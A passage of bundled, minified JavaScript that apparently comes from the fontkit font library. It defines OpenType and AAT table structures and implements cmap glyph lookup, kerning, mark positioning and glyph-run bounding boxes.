                    signatures: new V.Array(ur, "usNumSigs"),
                    signatureBlocks: new V.Array(cr, "usNumSigs")
                }), fr = new V.Struct({
                    rangeMaxPPEM: V.uint16,
                    rangeGaspBehavior: new V.Bitfield(V.uint16, ["grayscale", "gridfit", "symmetricSmoothing", "symmetricGridfit"])
                }), hr = new V.Struct({version: V.uint16, numRanges: V.uint16, gaspRanges: new V.Array(fr, "numRanges")}), pr = new V.Struct({
                    pixelSize: V.uint8, maximumWidth: V.uint8, widths: new V.Array(V.uint8, function (t) {
                        return t.parent.parent.maxp.numGlyphs
                    })
                }), dr = new V.Struct({version: V.uint16, numRecords: V.int16, sizeDeviceRecord: V.int32, records: new V.Array(pr, "numRecords")}),
                gr = new V.Struct({left: V.uint16, right: V.uint16, value: V.int16}), vr = new V.Struct({
                    firstGlyph: V.uint16, nGlyphs: V.uint16, offsets: new V.Array(V.uint16, "nGlyphs"), max: function (t) {
                        return t.offsets.length && Math.max.apply(Math, t.offsets)
                    }
                }), yr = new V.Struct({
                    off: function (t) {
                        return t._startOffset - t.parent.parent._startOffset
                    }, len: function (t) {
                        return ((t.parent.leftTable.max - t.off) / t.parent.rowWidth + 1) * (t.parent.rowWidth / 2)
                    }, values: new V.LazyArray(V.int16, "len")
                }), mr = new V.VersionedStruct("format", {
                    0: {
                        nPairs: V.uint16,
                        searchRange: V.uint16,
                        entrySelector: V.uint16,
                        rangeShift: V.uint16,
                        pairs: new V.Array(gr, "nPairs")
                    },
                    2: {
                        rowWidth: V.uint16,
                        leftTable: new V.Pointer(V.uint16, vr, {type: "parent"}),
                        rightTable: new V.Pointer(V.uint16, vr, {type: "parent"}),
                        array: new V.Pointer(V.uint16, yr, {type: "parent"})
                    },
                    3: {
                        glyphCount: V.uint16,
                        kernValueCount: V.uint8,
                        leftClassCount: V.uint8,
                        rightClassCount: V.uint8,
                        flags: V.uint8,
                        kernValue: new V.Array(V.int16, "kernValueCount"),
                        leftClass: new V.Array(V.uint8, "glyphCount"),
                        rightClass: new V.Array(V.uint8, "glyphCount"),
                        kernIndex: new V.Array(V.uint8, function (t) {
                            return t.leftClassCount * t.rightClassCount
                        })
                    }
                }), br = new V.VersionedStruct("version", {
                    0: {
                        subVersion: V.uint16,
                        length: V.uint16,
                        format: V.uint8,
                        coverage: new V.Bitfield(V.uint8, ["horizontal", "minimum", "crossStream", "override"]),
                        subtable: mr,
                        padding: new V.Reserved(V.uint8, function (t) {
                            return t.length - t._currentOffset
                        })
                    },
                    1: {
                        length: V.uint32,
                        coverage: new V.Bitfield(V.uint8, [null, null, null, null, null, "variation", "crossStream", "vertical"]),
                        format: V.uint8,
                        tupleIndex: V.uint16,
                        subtable: mr,
                        padding: new V.Reserved(V.uint8, function (t) {
                            return t.length - t._currentOffset
                        })
                    }
                }), wr = new V.VersionedStruct(V.uint16, {
                    0: {nTables: V.uint16, tables: new V.Array(br, "nTables")},
                    1: {reserved: new V.Reserved(V.uint16), nTables: V.uint32, tables: new V.Array(br, "nTables")}
                }), xr = new V.Struct({version: V.uint16, numGlyphs: V.uint16, yPels: new V.Array(V.uint8, "numGlyphs")}), Sr = new V.Struct({
                    version: V.uint16,
                    fontNumber: V.uint32,
                    pitch: V.uint16,
                    xHeight: V.uint16,
                    style: V.uint16,
                    typeFamily: V.uint16,
                    capHeight: V.uint16,
                    symbolSet: V.uint16,
                    typeface: new V.String(16),
                    characterComplement: new V.String(8),
                    fileName: new V.String(6),
                    strokeWeight: new V.String(1),
                    widthType: new V.String(1),
                    serifStyle: V.uint8,
                    reserved: new V.Reserved(V.uint8)
                }), kr = new V.Struct({bCharSet: V.uint8, xRatio: V.uint8, yStartRatio: V.uint8, yEndRatio: V.uint8}),
                _r = new V.Struct({yPelHeight: V.uint16, yMax: V.int16, yMin: V.int16}),
                Cr = new V.Struct({recs: V.uint16, startsz: V.uint8, endsz: V.uint8, entries: new V.Array(_r, "recs")}), Ar = new V.Struct({
                    version: V.uint16,
                    numRecs: V.uint16,
                    numRatios: V.uint16,
                    ratioRanges: new V.Array(kr, "numRatios"),
                    offsets: new V.Array(V.uint16, "numRatios"),
                    groups: new V.Array(Cr, "numRecs")
                }), Er = new V.Struct({
                    version: V.uint16,
                    ascent: V.int16,
                    descent: V.int16,
                    lineGap: V.int16,
                    advanceHeightMax: V.int16,
                    minTopSideBearing: V.int16,
                    minBottomSideBearing: V.int16,
                    yMaxExtent: V.int16,
                    caretSlopeRise: V.int16,
                    caretSlopeRun: V.int16,
                    caretOffset: V.int16,
                    reserved: new V.Reserved(V.int16, 4),
                    metricDataFormat: V.int16,
                    numberOfMetrics: V.uint16
                }), Pr = new V.Struct({advance: V.uint16, bearing: V.int16}), Ir = new V.Struct({
                    metrics: new V.LazyArray(Pr, function (t) {
                        return t.parent.vhea.numberOfMetrics
                    }), bearings: new V.LazyArray(V.int16, function (t) {
                        return t.parent.maxp.numGlyphs - t.parent.vhea.numberOfMetrics
                    })
                }), Or = new V.Fixed(16, "BE", 14), Tr = new V.Struct({fromCoord: Or, toCoord: Or}),
                Lr = new V.Struct({pairCount: V.uint16, correspondence: new V.Array(Tr, "pairCount")}),
                Br = new V.Struct({version: V.fixed32, axisCount: V.uint32, segment: new V.Array(Lr, "axisCount")}), Rr = function () {
                    function t(e, n, r) {
                        J(this, t), this.type = e, this.stream = n, this.parent = r, this.base = this.stream.pos, this._items = []
                    }

                    return t.prototype.getItem = function (t) {
                        if (null == this._items[t]) {
                            var e = this.stream.pos;
                            this.stream.pos = this.base + this.type.size(null, this.parent) * t, this._items[t] = this.type.decode(this.stream, this.parent), this.stream.pos = e
                        }
                        return this._items[t]
                    }, t.prototype.inspect = function () {
                        return "[UnboundedArray " + this.type.constructor.name + "]"
                    }, t
                }(), Mr = function (t) {
                    function e(n) {
                        return J(this, e), tt(this, t.call(this, n, 0))
                    }

                    return et(e, t), e.prototype.decode = function (t, e) {
                        return new Rr(this.type, t, e)
                    }, e
                }(V.Array), zr = function () {
                    var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : V.uint16;
                    t = new (function () {
                        function t(e) {
                            J(this, t), this.type = e
                        }

                        return t.prototype.decode = function (t, e) {
                            return e = e.parent.parent, this.type.decode(t, e)
                        }, t.prototype.size = function (t, e) {
                            return e = e.parent.parent, this.type.size(t, e)
                        }, t.prototype.encode = function (t, e, n) {
                            return n = n.parent.parent, this.type.encode(t, e, n)
                        }, t
                    }())(t);
                    var e = new V.Struct({unitSize: V.uint16, nUnits: V.uint16, searchRange: V.uint16, entrySelector: V.uint16, rangeShift: V.uint16}),
                        n = new V.Struct({lastGlyph: V.uint16, firstGlyph: V.uint16, value: t}), r = new V.Struct({
                            lastGlyph: V.uint16, firstGlyph: V.uint16, values: new V.Pointer(V.uint16, new V.Array(t, function (t) {
                                return t.lastGlyph - t.firstGlyph + 1
                            }), {type: "parent"})
                        }), i = new V.Struct({glyph: V.uint16, value: t});
                    return new V.VersionedStruct(V.uint16, {
                        0: {values: new Mr(t)}, 2: {
                            binarySearchHeader: e, segments: new V.Array(n, function (t) {
                                return t.binarySearchHeader.nUnits
                            })
                        }, 4: {
                            binarySearchHeader: e, segments: new V.Array(r, function (t) {
                                return t.binarySearchHeader.nUnits
                            })
                        }, 6: {
                            binarySearchHeader: e, segments: new V.Array(i, function (t) {
                                return t.binarySearchHeader.nUnits
                            })
                        }, 8: {firstGlyph: V.uint16, count: V.uint16, values: new V.Array(t, "count")}
                    })
                }, Fr = new V.VersionedStruct("format", {
                    0: {deltas: new V.Array(V.int16, 32)},
                    1: {deltas: new V.Array(V.int16, 32), mappingData: new zr(V.uint16)},
                    2: {standardGlyph: V.uint16, controlPoints: new V.Array(V.uint16, 32)},
                    3: {standardGlyph: V.uint16, controlPoints: new V.Array(V.uint16, 32), mappingData: new zr(V.uint16)}
                }), Dr = new V.Struct({version: V.fixed32, format: V.uint16, defaultBaseline: V.uint16, subtable: Fr}), Nr = new V.Struct({
                    setting: V.uint16, nameIndex: V.int16, name: function (t) {
                        return t.parent.parent.parent.name.records.fontFeatures[t.nameIndex]
                    }
                }), Ur = new V.Struct({
                    feature: V.uint16,
                    nSettings: V.uint16,
                    settingTable: new V.Pointer(V.uint32, new V.Array(Nr, "nSettings"), {type: "parent"}),
                    featureFlags: new V.Bitfield(V.uint8, [null, null, null, null, null, null, "hasDefault", "exclusive"]),
                    defaultSetting: V.uint8,
                    nameIndex: V.int16,
                    name: function (t) {
                        return t.parent.parent.name.records.fontFeatures[t.nameIndex]
                    }
                }), Wr = new V.Struct({
                    version: V.fixed32,
                    featureNameCount: V.uint16,
                    reserved1: new V.Reserved(V.uint16),
                    reserved2: new V.Reserved(V.uint32),
                    featureNames: new V.Array(Ur, "featureNameCount")
                }), jr = new V.Struct({
                    axisTag: new V.String(4),
                    minValue: V.fixed32,
                    defaultValue: V.fixed32,
                    maxValue: V.fixed32,
                    flags: V.uint16,
                    nameID: V.uint16,
                    name: function (t) {
                        return t.parent.parent.name.records.fontFeatures[t.nameID]
                    }
                }), Gr = new V.Struct({
                    nameID: V.uint16, name: function (t) {
                        return t.parent.parent.name.records.fontFeatures[t.nameID]
                    }, flags: V.uint16, coord: new V.Array(V.fixed32, function (t) {
                        return t.parent.axisCount
                    })
                }), Vr = new V.Struct({
                    version: V.fixed32,
                    offsetToData: V.uint16,
                    countSizePairs: V.uint16,
                    axisCount: V.uint16,
                    axisSize: V.uint16,
                    instanceCount: V.uint16,
                    instanceSize: V.uint16,
                    axis: new V.Array(jr, "axisCount"),
                    instance: new V.Array(Gr, "instanceCount")
                }), qr = new V.Fixed(16, "BE", 14), Hr = function () {
                    function t() {
                        J(this, t)
                    }

                    return t.decode = function (t, e) {
                        return e.flags ? t.readUInt32BE() : 2 * t.readUInt16BE()
                    }, t
                }(), Zr = new V.Struct({
                    version: V.uint16,
                    reserved: new V.Reserved(V.uint16),
                    axisCount: V.uint16,
                    globalCoordCount: V.uint16,
                    globalCoords: new V.Pointer(V.uint32, new V.Array(new V.Array(qr, "axisCount"), "globalCoordCount")),
                    glyphCount: V.uint16,
                    flags: V.uint16,
                    offsetToData: V.uint32,
                    offsets: new V.Array(new V.Pointer(Hr, "void", {relativeTo: "offsetToData", allowNull: !1}), function (t) {
                        return t.glyphCount + 1
                    })
                }), Yr = new V.Struct({length: V.uint16, coverage: V.uint16, subFeatureFlags: V.uint32, stateTable: new c}), Kr = new V.Struct({
                    justClass: V.uint32,
                    beforeGrowLimit: V.fixed32,
                    beforeShrinkLimit: V.fixed32,
                    afterGrowLimit: V.fixed32,
                    afterShrinkLimit: V.fixed32,
                    growFlags: V.uint16,
                    shrinkFlags: V.uint16
                }), Xr = new V.Array(Kr, V.uint32), Jr = new V.VersionedStruct("actionType", {
                    0: {
                        lowerLimit: V.fixed32,
                        upperLimit: V.fixed32,
                        order: V.uint16,
                        glyphs: new V.Array(V.uint16, V.uint16)
                    },
                    1: {addGlyph: V.uint16},
                    2: {substThreshold: V.fixed32, addGlyph: V.uint16, substGlyph: V.uint16},
                    3: {},
                    4: {variationAxis: V.uint32, minimumLimit: V.fixed32, noStretchValue: V.fixed32, maximumLimit: V.fixed32},
                    5: {flags: V.uint16, glyph: V.uint16}
                }), Qr = new V.Struct({
                    actionClass: V.uint16,
                    actionType: V.uint16,
                    actionLength: V.uint32,
                    actionData: Jr,
                    padding: new V.Reserved(V.uint8, function (t) {
                        return t.actionLength - t._currentOffset
                    })
                }), $r = new V.Array(Qr, V.uint32), ti = new V.Struct({lookupTable: new zr(new V.Pointer(V.uint16, $r))}), ei = new V.Struct({
                    classTable: new V.Pointer(V.uint16, Yr, {type: "parent"}),
                    wdcOffset: V.uint16,
                    postCompensationTable: new V.Pointer(V.uint16, ti, {type: "parent"}),
                    widthDeltaClusters: new zr(new V.Pointer(V.uint16, Xr, {type: "parent", relativeTo: "wdcOffset"}))
                }), ni = new V.Struct({version: V.uint32, format: V.uint16, horizontal: new V.Pointer(V.uint16, ei), vertical: new V.Pointer(V.uint16, ei)}),
                ri = {action: V.uint16}, ii = {markIndex: V.uint16, currentIndex: V.uint16},
                oi = {currentInsertIndex: V.uint16, markedInsertIndex: V.uint16}, ai = new V.Struct({items: new Mr(new V.Pointer(V.uint32, new zr))}),
                si = new V.VersionedStruct("type", {
                    0: {stateTable: new u},
                    1: {stateTable: new u(ii), substitutionTable: new V.Pointer(V.uint32, ai)},
                    2: {
                        stateTable: new u(ri),
                        ligatureActions: new V.Pointer(V.uint32, new Mr(V.uint32)),
                        components: new V.Pointer(V.uint32, new Mr(V.uint16)),
                        ligatureList: new V.Pointer(V.uint32, new Mr(V.uint16))
                    },
                    4: {lookupTable: new zr},
                    5: {stateTable: new u(oi), insertionActions: new V.Pointer(V.uint32, new Mr(V.uint16))}
                }), ui = new V.Struct({
                    length: V.uint32,
                    coverage: V.uint24,
                    type: V.uint8,
                    subFeatureFlags: V.uint32,
                    table: si,
                    padding: new V.Reserved(V.uint8, function (t) {
                        return t.length - t._currentOffset
                    })
                }), ci = new V.Struct({featureType: V.uint16, featureSetting: V.uint16, enableFlags: V.uint32, disableFlags: V.uint32}), li = new V.Struct({
                    defaultFlags: V.uint32,
                    chainLength: V.uint32,
                    nFeatureEntries: V.uint32,
                    nSubtables: V.uint32,
                    features: new V.Array(ci, "nFeatureEntries"),
                    subtables: new V.Array(ui, "nSubtables")
                }), fi = new V.Struct({version: V.uint16, unused: new V.Reserved(V.uint16), nChains: V.uint32, chains: new V.Array(li, "nChains")}),
                hi = new V.Struct({left: V.int16, top: V.int16, right: V.int16, bottom: V.int16}),
                pi = new V.Struct({version: V.fixed32, format: V.uint16, lookupTable: new zr(hi)}), di = {};
            di.cmap = At, di.head = Et, di.hhea = Pt, di.hmtx = Ot, di.maxp = Tt, di.name = NameTable, di["OS/2"] = Dt, di.post = Ut, di.fpgm = jt, di.loca = Gt, di.prep = Vt, di["cvt "] = Wt, di.glyf = qt, di["CFF "] = ke, di.VORG = Ce, di.EBLC = ze, di.CBLC = di.EBLC, di.sbix = De, di.COLR = We, di.CPAL = Ge, di.BASE = _n, di.GDEF = Tn, di.GPOS = Yn, di.GSUB = tr, di.JSTF = sr, di.DSIG = lr, di.gasp = hr, di.hdmx = dr, di.kern = wr, di.LTSH = xr, di.PCLT = Sr, di.VDMX = Ar, di.vhea = Er, di.vmtx = Ir, di.avar = Br, di.bsln = Dr, di.feat = Wr, di.fvar = Vr, di.gvar = Zr, di.just = ni, di.morx = fi, di.opbd = pi;
            var gi = new V.Struct({tag: new V.String(4), checkSum: V.uint32, offset: new V.Pointer(V.uint32, "void", {type: "global"}), length: V.uint32}), vi = new V.Struct({
                tag: new V.String(4),
                numTables: V.uint16,
                searchRange: V.uint16,
                entrySelector: V.uint16,
                rangeShift: V.uint16,
                tables: new V.Array(gi, "numTables")
            });
            vi.process = function () {
                for (var t = {}, e = this.tables, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                    var i;
                    if (n) {
                        if (r >= e.length) break;
                        i = e[r++]
                    } else {
                        if (r = e.next(), r.done) break;
                        i = r.value
                    }
                    var o    = i;
                    t[o.tag] = o
                }
                this.tables = t
            }, vi.preEncode = function (t) {
                var e = [];
                for (var n in this.tables) {
                    var r = this.tables[n];
                    r && e.push({tag: n, checkSum: 0, offset: new V.VoidPointer(di[n], r), length: di[n].size(r)})
                }
                this.tag = "true", this.numTables = e.length, this.tables = e, this.searchRange = 16 * Math.floor(Math.log(this.numTables) / Math.LN2), this.entrySelector = Math.floor(this.searchRange / Math.LN2), this.rangeShift = 16 * this.numTables - this.searchRange
            };
            var yi;
            try {
                var mi = n(84)
            } catch (t) {
            }
            for (var bi = (yi = function () {
                function t(e) {
                    if (J(this, t), this.encoding = null, this.cmap = this.findSubtable(e, [[3, 10], [0, 6], [0, 4], [3, 1], [0, 3], [0, 2], [0, 1], [0, 0], [3, 0]]), !this.cmap && mi) for (var n = e.tables, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                        var o;
                        if (r) {
                            if (i >= n.length) break;
                            o = n[i++]
                        } else {
                            if (i = n.next(), i.done) break;
                            o = i.value
                        }
                        var s = o, u = a(s.platformID, s.encodingID, s.table.language - 1);
                        mi.encodingExists(u) && (this.cmap = s.table, this.encoding = u)
                    }
                    if (!this.cmap) throw new Error("Could not find a supported cmap table");
                    this.uvs = this.findSubtable(e, [[0, 5]]), this.uvs && 14 !== this.uvs.version && (this.uvs = null)
                }

                return t.prototype.findSubtable = function (t, e) {
                    for (var n = e, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                        var o;
                        if (r) {
                            if (i >= n.length) break;
                            o = n[i++]
                        } else {
                            if (i = n.next(), i.done) break;
                            o = i.value
                        }
                        for (var a = o, s = a[0], u = a[1], c = t.tables, l = Array.isArray(c), f = 0, c = l ? c : H(c); ;) {
                            var h;
                            if (l) {
                                if (f >= c.length) break;
                                h = c[f++]
                            } else {
                                if (f = c.next(), f.done) break;
                                h = f.value
                            }
                            var p = h;
                            if (p.platformID === s && p.encodingID === u) return p.table
                        }
                    }
                    return null
                }, t.prototype.lookup = function (t, e) {
                    if (this.encoding) {
                        var n = mi.encode(at(t), this.encoding);
                        t     = 0;
                        for (var r = 0; r < n.length; r++) t = t << 8 | n[r]
                    } else if (e) {
                        var i = this.getVariationSelector(t, e);
                        if (i) return i
                    }
                    var o = this.cmap;
                    switch (o.version) {
                        case 0:
                            return o.codeMap.get(t) || 0;
                        case 4:
                            for (var a = 0, s = o.segCount - 1; a <= s;) {
                                var u = a + s >> 1;
                                if (t < o.startCode.get(u)) s = u - 1; else {
                                    if (!(t > o.endCode.get(u))) {
                                        var c = o.idRangeOffset.get(u), l = void 0;
                                        if (0 === c) l = t + o.idDelta.get(u); else {
                                            var f = c / 2 + (t - o.startCode.get(u)) - (o.segCount - u);
                                            l = o.glyphIndexArray.get(f) || 0, 0 !== l && (l += o.idDelta.get(u))
                                        }
                                        return 65535 & l
                                    }
                                    a = u + 1
                                }
                            }
                            return 0;
                        case 8:
                            throw new Error("TODO: cmap format 8");
                        case 6:
                        case 10:
                            return o.glyphIndices.get(t - o.firstCode) || 0;
                        case 12:
                        case 13:
                            for (var h = 0, p = o.nGroups - 1; h <= p;) {
                                var d = h + p >> 1, g = o.groups.get(d);
                                if (t < g.startCharCode) p = d - 1; else {
                                    if (!(t > g.endCharCode)) return 12 === o.version ? g.glyphID + (t - g.startCharCode) : g.glyphID;
                                    h = d + 1
                                }
                            }
                            return 0;
                        case 14:
                            throw new Error("TODO: cmap format 14");
                        default:
                            throw new Error("Unknown cmap format " + o.version)
                    }
                }, t.prototype.getVariationSelector = function (t, e) {
                    if (!this.uvs) return 0;
                    var n = this.uvs.varSelectors.toArray(), r = l(n, function (t) {
                        return e - t.varSelector
                    }), i = n[r];
                    return r !== -1 && i.defaultUVS && (r = l(i.defaultUVS, function (e) {
                        return t < e.startUnicodeValue ? -1 : t > e.startUnicodeValue + e.additionalCount ? 1 : 0
                    })), r !== -1 && i.nonDefaultUVS && (r = l(i.nonDefaultUVS, function (e) {
                        return t - e.unicodeValue
                    })) !== -1 ? i.nonDefaultUVS[r].glyphID : 0
                }, t.prototype.getCharacterSet = function () {
                    var t = this.cmap;
                    switch (t.version) {
                        case 0:
                            return f(0, t.codeMap.length);
                        case 4:
                            for (var e = [], n = t.endCode.toArray(), r = 0; r < n.length; r++) {
                                var i = n[r] + 1, o = t.startCode.get(r);
                                e.push.apply(e, f(o, i))
                            }
                            return e;
                        case 8:
                            throw new Error("TODO: cmap format 8");
                        case 6:
                        case 10:
                            return f(t.firstCode, t.firstCode + t.glyphIndices.length);
                        case 12:
                        case 13:
                            for (var a = [], s = t.groups.toArray(), u = Array.isArray(s), c = 0, s = u ? s : H(s); ;) {
                                var l;
                                if (u) {
                                    if (c >= s.length) break;
                                    l = s[c++]
                                } else {
                                    if (c = s.next(), c.done) break;
                                    l = c.value
                                }
                                var h = l;
                                a.push.apply(a, f(h.startCharCode, h.endCharCode + 1))
                            }
                            return a;
                        case 14:
                            throw new Error("TODO: cmap format 14");
                        default:
                            throw new Error("Unknown cmap format " + t.version)
                    }
                }, t.prototype.codePointsForGlyph = function (t) {
                    var e = this.cmap;
                    switch (e.version) {
                        case 0:
                            for (var n = [], r = 0; r < 256; r++) e.codeMap.get(r) === t && n.push(r);
                            return n;
                        case 4:
                            for (var i = [], o = 0; o < e.segCount; o++) for (var a = e.endCode.get(o), s = e.startCode.get(o), u = e.idRangeOffset.get(o), c = e.idDelta.get(o), l = s; l <= a; l++) {
                                var h = 0;
                                if (0 === u) h = l + c; else {
                                    var p = u / 2 + (l - s) - (e.segCount - o);
                                    h = e.glyphIndexArray.get(p) || 0, 0 !== h && (h += c)
                                }
                                h === t && i.push(l)
                            }
                            return i;
                        case 12:
                            for (var d = [], g = e.groups.toArray(), v = Array.isArray(g), y = 0, g = v ? g : H(g); ;) {
                                var m;
                                if (v) {
                                    if (y >= g.length) break;
                                    m = g[y++]
                                } else {
                                    if (y = g.next(), y.done) break;
                                    m = y.value
                                }
                                var b = m;
                                t >= b.glyphID && t <= b.glyphID + (b.endCharCode - b.startCharCode) && d.push(b.startCharCode + (t - b.glyphID))
                            }
                            return d;
                        case 13:
                            for (var w = [], x = e.groups.toArray(), S = Array.isArray(x), k = 0, x = S ? x : H(x); ;) {
                                var _;
                                if (S) {
                                    if (k >= x.length) break;
                                    _ = x[k++]
                                } else {
                                    if (k = x.next(), k.done) break;
                                    _ = k.value
                                }
                                var C = _;
                                t === C.glyphID && w.push.apply(w, f(C.startCharCode, C.endCharCode + 1))
                            }
                            return w;
                        default:
                            throw new Error("Unknown cmap format " + e.version)
                    }
                }, t
            }(), h(yi.prototype, "getCharacterSet", [o], q(yi.prototype, "getCharacterSet"), yi.prototype), h(yi.prototype, "codePointsForGlyph", [o], q(yi.prototype, "codePointsForGlyph"), yi.prototype), yi), wi = function () {
                function t(e) {
                    J(this, t), this.kern = e.kern
                }

                return t.prototype.process = function (t, e) {
                    for (var n = 0; n < t.length - 1; n++) {
                        var r = t[n].id, i = t[n + 1].id;
                        e[n].xAdvance += this.getKerning(r, i)
                    }
                }, t.prototype.getKerning = function (t, e) {
                    for (var n = 0, r = this.kern.tables, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                        var a;
                        if (i) {
                            if (o >= r.length) break;
                            a = r[o++]
                        } else {
                            if (o = r.next(), o.done) break;
                            a = o.value
                        }
                        var s = a;
                        if (!s.coverage.crossStream) {
                            switch (s.version) {
                                case 0:
                                    if (!s.coverage.horizontal) continue;
                                    break;
                                case 1:
                                    if (s.coverage.vertical || s.coverage.variation) continue;
                                    break;
                                default:
                                    throw new Error("Unsupported kerning table version " + s.version)
                            }
                            var u = 0, c = s.subtable;
                            switch (s.format) {
                                case 0:
                                    var f = l(c.pairs, function (n) {
                                        return t - n.left || e - n.right
                                    });
                                    f >= 0 && (u = c.pairs[f].value);
                                    break;
                                case 2:
                                    var h = 0, p = 0;
                                    h = t >= c.leftTable.firstGlyph && t < c.leftTable.firstGlyph + c.leftTable.nGlyphs ? c.leftTable.offsets[t - c.leftTable.firstGlyph] : c.array.off, e >= c.rightTable.firstGlyph && e < c.rightTable.firstGlyph + c.rightTable.nGlyphs && (p = c.rightTable.offsets[e - c.rightTable.firstGlyph]);
                                    var d = (h + p - c.array.off) / 2;
                                    u     = c.array.values.get(d);
                                    break;
                                case 3:
                                    if (t >= c.glyphCount || e >= c.glyphCount) return 0;
                                    u = c.kernValue[c.kernIndex[c.leftClass[t] * c.rightClassCount + c.rightClass[e]]];
                                    break;
                                default:
                                    throw new Error("Unsupported kerning sub-table format " + s.format)
                            }
                            s.coverage.override ? n = u : n += u
                        }
                    }
                    return n
                }, t
            }(), xi                                                                                                                                                                                                  = function () {
                function t(e) {
                    J(this, t), this.font = e
                }

                return t.prototype.positionGlyphs = function (t, e) {
                    for (var n = 0, r = 0, i = 0; i < t.length; i++) {
                        t[i].isMark ? r = i : (n !== r && this.positionCluster(t, e, n, r), n = r = i)
                    }
                    return n !== r && this.positionCluster(t, e, n, r), e
                }, t.prototype.positionCluster = function (t, e, n, r) {
                    var i = t[n], o = i.cbox.copy();
                    i.codePoints.length > 1 && (o.minX += (i.codePoints.length - 1) * o.width / i.codePoints.length);
                    for (var a = -e[n].xAdvance, s = 0, u = this.font.unitsPerEm / 16, c = n + 1; c <= r; c++) {
                        var l = t[c], f = l.cbox, h = e[c], p = this.getCombiningClass(l.codePoints[0]);
                        if ("Not_Reordered" !== p) {
                            switch (h.xOffset = h.yOffset = 0, p) {
                                case"Double_Above":
                                case"Double_Below":
                                    h.xOffset += o.minX - f.width / 2 - f.minX;
                                    break;
                                case"Attached_Below_Left":
                                case"Below_Left":
                                case"Above_Left":
                                    h.xOffset += o.minX - f.minX;
                                    break;
                                case"Attached_Above_Right":
                                case"Below_Right":
                                case"Above_Right":
                                    h.xOffset += o.maxX - f.width - f.minX;
                                    break;
                                default:
                                    h.xOffset += o.minX + (o.width - f.width) / 2 - f.minX
                            }
                            switch (p) {
                                case"Double_Below":
                                case"Below_Left":
                                case"Below":
                                case"Below_Right":
                                case"Attached_Below_Left":
                                case"Attached_Below":
                                    "Attached_Below_Left" !== p && "Attached_Below" !== p || (o.minY += u), h.yOffset = -o.minY - f.maxY, o.minY += f.height;
                                    break;
                                case"Double_Above":
                                case"Above_Left":
                                case"Above":
                                case"Above_Right":
                                case"Attached_Above":
                                case"Attached_Above_Right":
                                    "Attached_Above" !== p && "Attached_Above_Right" !== p || (o.maxY += u), h.yOffset = o.maxY - f.minY, o.maxY += f.height
                            }
                            h.xAdvance = h.yAdvance = 0, h.xOffset += a, h.yOffset += s
                        } else a -= h.xAdvance, s -= h.yAdvance
                    }
                }, t.prototype.getCombiningClass = function (t) {
                    var e = ct.getCombiningClass(t);
                    if (3584 == (t & -256)) if ("Not_Reordered" === e) switch (t) {
                        case 3633:
                        case 3636:
                        case 3637:
                        case 3638:
                        case 3639:
                        case 3655:
                        case 3660:
                        case 3645:
                        case 3662:
                            return "Above_Right";
                        case 3761:
                        case 3764:
                        case 3765:
                        case 3766:
                        case 3767:
                        case 3771:
                        case 3788:
                        case 3789:
                            return "Above";
                        case 3772:
                            return "Below"
                    } else if (3642 === t) return "Below_Right";
                    switch (e) {
                        case"CCC10":
                        case"CCC11":
                        case"CCC12":
                        case"CCC13":
                        case"CCC14":
                        case"CCC15":
                        case"CCC16":
                        case"CCC17":
                        case"CCC18":
                        case"CCC20":
                        case"CCC22":
                            return "Below";
                        case"CCC23":
                            return "Attached_Above";
                        case"CCC24":
                            return "Above_Right";
                        case"CCC25":
                        case"CCC19":
                            return "Above_Left";
                        case"CCC26":
                            return "Above";
                        case"CCC21":
                            break;
                        case"CCC27":
                        case"CCC28":
                        case"CCC30":
                        case"CCC31":
                        case"CCC33":
                        case"CCC34":
                        case"CCC35":
                        case"CCC36":
                            return "Above";
                        case"CCC29":
                        case"CCC32":
                            return "Below";
                        case"CCC103":
                            return "Below_Right";
                        case"CCC107":
                            return "Above_Right";
                        case"CCC118":
                            return "Below";
                        case"CCC122":
                            return "Above";
                        case"CCC129":
                        case"CCC132":
                            return "Below";
                        case"CCC130":
                            return "Above"
                    }
                    return e
                }, t
            }(), Si                                                                                                                                                                                                  = function () {
                function t() {
                    var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 1 / 0, n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 1 / 0,
                        r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : -(1 / 0),
                        i = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : -(1 / 0);
                    J(this, t), this.minX = e, this.minY = n, this.maxX = r, this.maxY = i
                }

                return t.prototype.addPoint = function (t, e) {
                    t < this.minX && (this.minX = t), e < this.minY && (this.minY = e), t > this.maxX && (this.maxX = t), e > this.maxY && (this.maxY = e)
                }, t.prototype.copy = function () {
                    return new t(this.minX, this.minY, this.maxX, this.maxY)
                }, Q(t, [{
                    key: "width", get: function () {
                        return this.maxX - this.minX
                    }
                }, {
                    key: "height", get: function () {
                        return this.maxY - this.minY
                    }
                }]), t
            }(), ki                                                                                                                                                                                                  = function () {
                function t(e, n) {
                    J(this, t), this.glyphs = e, this.positions = n
                }

                return Q(t, [{
                    key: "advanceWidth", get: function () {
                        for (var t = 0, e = this.positions, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                            var i;
                            if (n) {
                                if (r >= e.length) break;
                                i = e[r++]
                            } else {
                                if (r = e.next(), r.done) break;
                                i = r.value
                            }
                            t += i.xAdvance
                        }
                        return t
                    }
                }, {
                    key: "advanceHeight", get: function () {
                        for (var t = 0, e = this.positions, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                            var i;
                            if (n) {
                                if (r >= e.length) break;
                                i = e[r++]
                            } else {
                                if (r = e.next(), r.done) break;
                                i = r.value
                            }
                            t += i.yAdvance
                        }
                        return t
                    }
                }, {
                    key: "bbox", get: function () {
                        for (var t = new Si, e = 0, n = 0, r = 0; r < this.glyphs.length; r++) {
                            var i = this.glyphs[r], o = this.positions[r], a = i.bbox;
                            t.addPoint(a.minX + e + o.xOffset, a.minY + n + o.yOffset), t.addPoint(a.maxX + e + o.xOffset, a.maxY + n + o.yOffset), e += o.xAdvance, n += o.yAdvance
                        }
                        return t
                    }
                }]), t
            }(), _i                                                                                                                                                                                                  = function t() {
                var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0,
                    r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 0, i = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : 0;
